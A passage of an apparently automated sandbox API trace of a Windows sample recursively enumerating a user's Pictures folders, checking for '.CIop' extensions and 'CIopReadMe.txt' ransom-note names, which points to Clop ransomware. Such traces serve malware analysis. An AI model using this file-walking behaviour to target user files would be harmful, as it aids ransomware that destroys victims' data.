lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0158.976] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67db78 [0158.976] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0158.976] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0158.976] lstrlenW (lpString=".CIop") returned 5 [0158.976] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.976] lstrlenW (lpString=".CIop") returned 5 [0158.976] lstrlenW (lpString=".CIop") returned 5 [0158.976] lstrlenW (lpString=".CIop") returned 5 [0158.976] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0158.976] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67e2b8 [0158.976] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0158.976] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0158.976] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0158.976] SetErrorMode (uMode=0x1) returned 0x1 [0158.976] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0158.976] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0158.977] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dbf8 [0158.977] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0158.977] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0158.977] lstrlenW (lpString=".CIop") returned 5 [0158.977] lstrlenW (lpString=".CIop") returned 5 [0158.977] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.977] lstrlenW (lpString=".CIop") returned 5 [0158.977] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0158.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0158.977] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67e0f8 [0158.977] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0158.977] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0158.977] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0158.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0158.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0158.977] SetErrorMode (uMode=0x1) returned 0x1 [0158.977] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0158.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0158.977] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0158.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0158.977] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67db78 [0158.977] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0158.977] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0158.977] lstrlenW (lpString=".CIop") returned 5 [0158.978] lstrlenW (lpString=".CIop") returned 5 [0158.978] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0158.978] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0158.978] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67def8 [0158.978] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0158.978] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0158.978] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0158.978] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0158.978] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0158.978] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0158.978] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0158.978] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0158.978] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0158.978] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.978] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.978] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.979] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 1 [0158.979] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 0 [0158.979] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.979] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.979] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.979] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0158.979] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0158.979] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.979] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0158.979] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0158.979] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.979] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.979] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.979] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.979] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.979] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0158.979] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0158.979] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0158.980] SetErrorMode (uMode=0x1) returned 0x1 [0158.980] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0158.980] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0158.980] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.980] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0158.980] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0158.980] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.980] lstrlenW (lpString=".CIop") returned 5 [0158.980] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0158.980] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.980] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0158.980] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0158.980] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.980] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0158.980] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0158.980] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0158.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0158.980] SetErrorMode (uMode=0x1) returned 0x1 [0158.981] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0158.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0158.981] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0158.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0158.981] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.981] PathFindFileNameW 